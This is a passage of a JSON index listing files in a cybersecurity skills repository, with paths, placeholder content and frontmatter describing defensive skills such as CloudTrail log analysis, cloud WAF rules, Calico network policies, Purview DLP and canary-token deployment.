-->","isInternal":false,"tokens":529,"sizeBytes":2244},{"name":"SKILL.md","path":"skills/implementing-cloud-trail-log-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-trail-log-analysis/SKILL.md","title":"implementing-cloud-trail-log-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-trail-log-analysis%2FSKILL.md -->","frontmatter":{"name":"implementing-cloud-trail-log-analysis","description":"Implementing AWS CloudTrail log analysis for security monitoring, threat detection, and forensic investigation using Athena, CloudWatch Logs Insights, and SIEM integration to identify unauthorized access, privilege escalation, and suspicious API activity.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","cloudtrail","log-analysis","threat-detection","forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1068"]},"isInternal":false,"tokens":3268,"sizeBytes":13635},{"name":"template.md","path":"skills/implementing-cloud-vulnerability-posture-management/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-vulnerability-posture-management/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":363,"sizeBytes":1473},{"name":"api-reference.md","path":"skills/implementing-cloud-vulnerability-posture-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-vulnerability-posture-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":409,"sizeBytes":1693},{"name":"standards.md","path":"skills/implementing-cloud-vulnerability-posture-management/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-vulnerability-posture-management/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":438,"sizeBytes":1688},{"name":"workflows.md","path":"skills/implementing-cloud-vulnerability-posture-management/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-vulnerability-posture-management/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":305,"sizeBytes":1333},{"name":"SKILL.md","path":"skills/implementing-cloud-vulnerability-posture-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-vulnerability-posture-management/SKILL.md","title":"implementing-cloud-vulnerability-posture-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-vulnerability-posture-management%2FSKILL.md -->","frontmatter":{"name":"implementing-cloud-vulnerability-posture-management","description":"Implement multi-cloud CSPM to detect cloud-native misconfigurations and vulnerabilities (IAM over-permissions, exposed storage, unencrypted data, missing network controls) using AWS Security Hub, Azure Defender for Cloud, and open-source Prowler and ScoutSuite scans, then aggregate results across clouds. Use when auditing multi-cloud environments for misconfiguration-driven vulnerabilities or building a consolidated cross-cloud posture report.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["cspm","cloud-security","aws-security-hub","azure-defender","prowler","scoutsuite","misconfiguration","cnapp"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068","T1078.004","T1530"]},"isInternal":false,"tokens":1900,"sizeBytes":7738},{"name":"api-reference.md","path":"skills/implementing-cloud-waf-rules/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-waf-rules/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-waf-rules%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":594,"sizeBytes":2347},{"name":"SKILL.md","path":"skills/implementing-cloud-waf-rules/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-waf-rules/SKILL.md","title":"implementing-cloud-waf-rules","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-waf-rules%2FSKILL.md -->","frontmatter":{"name":"implementing-cloud-waf-rules","description":"Deploys and tunes Web Application Firewall rules on AWS WAF, Azure WAF, and Cloudflare, covering managed rule sets, custom business-logic rules, rate limiting, bot management, and false-positive reduction. Use when deploying new apps behind a cloud WAF, when pentests reveal injection/XSS flaws, when facing bot or credential-stuffing traffic, or when compliance (e.g. PCI-DSS) mandates a WAF.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-waf","aws-waf","azure-waf","cloudflare-waf","owasp-protection","rate-limiting"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T0816"]},"isInternal":false,"tokens":2768,"sizeBytes":11463},{"name":"api-reference.md","path":"skills/implementing-cloud-workload-protection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-workload-protection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-workload-protection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":461,"sizeBytes":1703},{"name":"SKILL.md","path":"skills/implementing-cloud-workload-protection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-cloud-workload-protection/SKILL.md","title":"implementing-cloud-workload-protection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-cloud-workload-protection%2FSKILL.md -->","frontmatter":{"name":"implementing-cloud-workload-protection","description":"Implements cloud workload protection using boto3 and google-cloud APIs for runtime security monitoring, process anomaly detection, and file integrity checking on EC2/GCE instances. Scans for cryptomining, reverse shells, and unauthorized binaries. Use when building runtime security controls for cloud compute workloads.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","cwpp","workload-protection","boto3","runtime-security","process-anomaly-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1071"]},"isInternal":false,"tokens":532,"sizeBytes":2312},{"name":"template.md","path":"skills/implementing-code-signing-for-artifacts/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-code-signing-for-artifacts/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":342,"sizeBytes":1234},{"name":"api-reference.md","path":"skills/implementing-code-signing-for-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-code-signing-for-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":451,"sizeBytes":1841},{"name":"standards.md","path":"skills/implementing-code-signing-for-artifacts/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-code-signing-for-artifacts/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":330,"sizeBytes":1542},{"name":"workflows.md","path":"skills/implementing-code-signing-for-artifacts/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-code-signing-for-artifacts/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":372,"sizeBytes":1880},{"name":"SKILL.md","path":"skills/implementing-code-signing-for-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-code-signing-for-artifacts/SKILL.md","title":"implementing-code-signing-for-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-code-signing-for-artifacts%2FSKILL.md -->","frontmatter":{"name":"implementing-code-signing-for-artifacts","description":"Implements code signing for build artifacts (binaries, packages, containers) using GPG, Sigstore, and platform-specific signing tools, establishing trust chains and verifying signatures in deployment pipelines. Use when establishing artifact integrity checks against supply-chain tampering, proving authenticity to customers, building zero-trust pipelines that reject unsigned artifacts, or meeting SLSA Level 2+ provenance requirements.\n","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","cicd","code-signing","supply-chain","sigstore","secure-sdlc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004","T1610","T1611"]},"isInternal":false,"tokens":1783,"sizeBytes":7327},{"name":"api-reference.md","path":"skills/implementing-conditional-access-policies-azure-ad/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-conditional-access-policies-azure-ad/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conditional-access-policies-azure-ad%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":356,"sizeBytes":1513},{"name":"SKILL.md","path":"skills/implementing-conditional-access-policies-azure-ad/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-conditional-access-policies-azure-ad/SKILL.md","title":"implementing-conditional-access-policies-azure-ad","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conditional-access-policies-azure-ad%2FSKILL.md -->","frontmatter":{"name":"implementing-conditional-access-policies-azure-ad","description":"Configures Microsoft Entra ID (Azure AD) Conditional Access policies for zero trust access control, covering signal-based policy design, device compliance requirements, risk-based authentication, named locations, and session controls aligned to NIST SP 1800-35. Use when deploying or hardening conditional access policies, building zero trust security architecture in Entra ID, or preparing for a security assessment of Azure AD access controls.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","azure-ad","entra-id","conditional-access","zero-trust"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"]},"isInternal":false,"tokens":581,"sizeBytes":2756},{"name":"api-reference.md","path":"skills/implementing-conduit-security-for-ot-remote-access/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-conduit-security-for-ot-remote-access/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conduit-security-for-ot-remote-access%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":476,"sizeBytes":1609},{"name":"SKILL.md","path":"skills/implementing-conduit-security-for-ot-remote-access/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-conduit-security-for-ot-remote-access/SKILL.md","title":"implementing-conduit-security-for-ot-remote-access","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-conduit-security-for-ot-remote-access%2FSKILL.md -->","frontmatter":{"name":"implementing-conduit-security-for-ot-remote-access","description":"Implements secure conduit architecture for OT remote access under the IEC 62443 zones-and-conduits model, deploying jump servers, MFA gateways, session recording, and approval-based workflows for vendor and engineer access to ICS. Use when replacing direct VPN access into OT networks, securing third-party vendor access to SCADA equipment, or remediating audit findings on uncontrolled OT remote access.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","remote-access","iec62443","jump-server","zero-trust","conduit","mfa"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":3047,"sizeBytes":13425},{"name":"template.md","path":"skills/implementing-container-image-minimal-base-with-distroless/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-container-image-minimal-base-with-distroless/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":182,"sizeBytes":732},{"name":"api-reference.md","path":"skills/implementing-container-image-minimal-base-with-distroless/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-container-image-minimal-base-with-distroless/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":435,"sizeBytes":1666},{"name":"standards.md","path":"skills/implementing-container-image-minimal-base-with-distroless/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-container-image-minimal-base-with-distroless/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":168,"sizeBytes":626},{"name":"workflows.md","path":"skills/implementing-container-image-minimal-base-with-distroless/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-container-image-minimal-base-with-distroless/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":176,"sizeBytes":756},{"name":"SKILL.md","path":"skills/implementing-container-image-minimal-base-with-distroless/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-container-image-minimal-base-with-distroless/SKILL.md","title":"implementing-container-image-minimal-base-with-distroless","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-image-minimal-base-with-distroless%2FSKILL.md -->","frontmatter":{"name":"implementing-container-image-minimal-base-with-distroless","description":"Reduces container attack surface by building application images on Google distroless base images that ship only the application runtime - no shell, package manager, or OS utilities - using multi-stage build patterns plus debugging and scanning techniques adapted to distroless. Use when hardening container images, cutting attack surface in a container architecture, or answering an assessment finding about bloated base images. Keywords: distroless, multi-stage build, no shell, nonroot tag, debug image, scratch, attack surface. Do not use for scanning an image for known CVEs - use scanning-docker-images-with-trivy.","domain":"cybersecurity","subdomain":"container-security","tags":["distroless","container-images","minimal-base","attack-surface","docker","security-hardening","supply-chain","kubernetes"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1195"]},"isInternal":false,"tokens":1771,"sizeBytes":6712},{"name":"api-reference.md","path":"skills/implementing-container-network-policies-with-calico/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-container-network-policies-with-calico/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-network-policies-with-calico%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":469,"sizeBytes":1924},{"name":"SKILL.md","path":"skills/implementing-container-network-policies-with-calico/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-container-network-policies-with-calico/SKILL.md","title":"implementing-container-network-policies-with-calico","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-container-network-policies-with-calico%2FSKILL.md -->","frontmatter":{"name":"implementing-container-network-policies-with-calico","description":"Uses Calico's own policy CRDs beyond the upstream Kubernetes API - GlobalNetworkPolicy, HostEndpoint, NetworkSet, policy tiers, and DNS-based egress rules - applied and audited with calicoctl. Use when a policy must span namespaces or protect the host itself, when egress has to be expressed by domain name, or when ordering policies into tiers. Keywords: calicoctl, GlobalNetworkPolicy, HostEndpoint, NetworkSet, tier, DNS egress, order. Do not use for portable upstream NetworkPolicy - use implementing-network-policies-for-kubernetes; for installing Calico and writing standard policy with it use implementing-kubernetes-network-policy-with-calico.","domain":"cybersecurity","subdomain":"container-security","tags":["container-security","kubernetes","calico","network-policy","microsegmentation","cni"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":591,"sizeBytes":2717},{"name":"template.md","path":"skills/implementing-continuous-security-validation-with-bas/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-continuous-security-validation-with-bas/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":291,"sizeBytes":864},{"name":"api-reference.md","path":"skills/implementing-continuous-security-validation-with-bas/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-continuous-security-validation-with-bas/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":434,"sizeBytes":1599},{"name":"standards.md","path":"skills/implementing-continuous-security-validation-with-bas/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-continuous-security-validation-with-bas/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":272,"sizeBytes":1033},{"name":"workflows.md","path":"skills/implementing-continuous-security-validation-with-bas/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-continuous-security-validation-with-bas/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":321,"sizeBytes":1763},{"name":"SKILL.md","path":"skills/implementing-continuous-security-validation-with-bas/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-continuous-security-validation-with-bas/SKILL.md","title":"implementing-continuous-security-validation-with-bas","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-continuous-security-validation-with-bas%2FSKILL.md -->","frontmatter":{"name":"implementing-continuous-security-validation-with-bas","description":"Deploys Breach and Attack Simulation (BAS) platforms such as SafeBreach, AttackIQ, Picus, Cymulate, Pentera, or SCYTHE to continuously validate endpoint, network, email-gateway, SIEM, and incident-response effectiveness by safely emulating MITRE ATT&CK techniques. Use when moving beyond point-in-time pentesting to continuous control validation, or standing up automated adversary emulation.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["breach-attack-simulation","bas","security-validation","safebreach","attackiq","picus","cymulate","mitre-attack"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2364,"sizeBytes":9904},{"name":"api-reference.md","path":"skills/implementing-data-loss-prevention-with-microsoft-purview/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-data-loss-prevention-with-microsoft-purview/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-data-loss-prevention-with-microsoft-purview%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1205,"sizeBytes":5368},{"name":"SKILL.md","path":"skills/implementing-data-loss-prevention-with-microsoft-purview/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-data-loss-prevention-with-microsoft-purview/SKILL.md","title":"implementing-data-loss-prevention-with-microsoft-purview","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-data-loss-prevention-with-microsoft-purview%2FSKILL.md -->","frontmatter":{"name":"implementing-data-loss-prevention-with-microsoft-purview","description":"Implements DLP policies using Microsoft Purview PowerShell cmdlets and the Graph API to protect data across Exchange Online, SharePoint, OneDrive, Teams, endpoints, and Power BI, including sensitivity labels, custom sensitive information types with regex, endpoint DLP rules, and Activity Explorer monitoring. Use when stopping PII/PHI/PCI exfiltration, configuring sensitivity labels, or investigating DLP incidents for policy tuning.\n","domain":"cybersecurity","subdomain":"data-protection","tags":["DLP","Microsoft-Purview","sensitivity-labels","endpoint-DLP","data-classification","compliance"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10","GV.PO-01"],"mitre_attack":["T1486","T1530","T1537","T1048","T1573"]},"isInternal":false,"tokens":7000,"sizeBytes":31423},{"name":"api-reference.md","path":"skills/implementing-ddos-mitigation-with-cloudflare/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ddos-mitigation-with-cloudflare/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ddos-mitigation-with-cloudflare%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":414,"sizeBytes":1588},{"name":"SKILL.md","path":"skills/implementing-ddos-mitigation-with-cloudflare/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ddos-mitigation-with-cloudflare/SKILL.md","title":"implementing-ddos-mitigation-with-cloudflare","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ddos-mitigation-with-cloudflare%2FSKILL.md -->","frontmatter":{"name":"implementing-ddos-mitigation-with-cloudflare","description":"Configure Cloudflare DDoS protection with managed rulesets, rate limiting, WAF rules, Bot Management, and origin protection to mitigate volumetric, protocol, and application-layer attacks.","domain":"cybersecurity","subdomain":"network-security","tags":["ddos","cloudflare","ddos-mitigation","rate-limiting","waf","bot-management","layer-7","volumetric-attack","network-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1078.004"]},"isInternal":false,"tokens":3674,"sizeBytes":15096},{"name":"api-reference.md","path":"skills/implementing-deception-based-detection-with-canarytoken/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-deception-based-detection-with-canarytoken/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-deception-based-detection-with-canarytoken%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":696,"sizeBytes":2994},{"name":"SKILL.md","path":"skills/implementing-deception-based-detection-with-canarytoken/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-deception-based-detection-with-canarytoken/SKILL.md","title":"implementing-deception-based-detection-with-canarytoken","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-deception-based-detection-with-canarytoken%2FSKILL.md -->","frontmatter":{"name":"implementing-deception-based-detection-with-canarytoken","description":"Deploys and monitors Canary Tokens via the Thinkst Canary REST API for deception-based breach detection, programmatically creating web bug, DNS, MS Word document, and AWS API key tokens and generating deception coverage reports from triggered alerts. Use when standing up honeytoken tripwires for early breach detection or building a deception-technology coverage report.","domain":"cybersecurity","subdomain":"deception-technology","tags":["canarytoken","deception","honeytokens","breach-detection","Thinkst-Canary","tripwire","early-warning"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-06","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1078.004","T1530"]},"isInternal":false,"tokens":510,"sizeBytes":2363},{"name":"api-reference.md","path":"skills/implementing-delinea-secret-server-for-pam/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-delinea-secret-server-for-pam/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-delinea-secret-server-for-pam%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":606,"sizeBytes":2330},{"name":"SKILL.md","path":"skills/implementing-delinea-secret-server-for-pam/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-delinea-secret-server-for-pam/SKILL.md","title":"implementing-delinea-secret-server-for-pam","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-delinea-secret-server-for-pam%2FSKILL.md -->","frontmatter":{"name":"implementing-delinea-secret-server-for-pam","description":"Implements Delinea Secret Server for privileged access management, covering secret vault configuration, role-based access policies, automated password rotation, session recording, and Active Directory/cloud integration. Use when centralizing 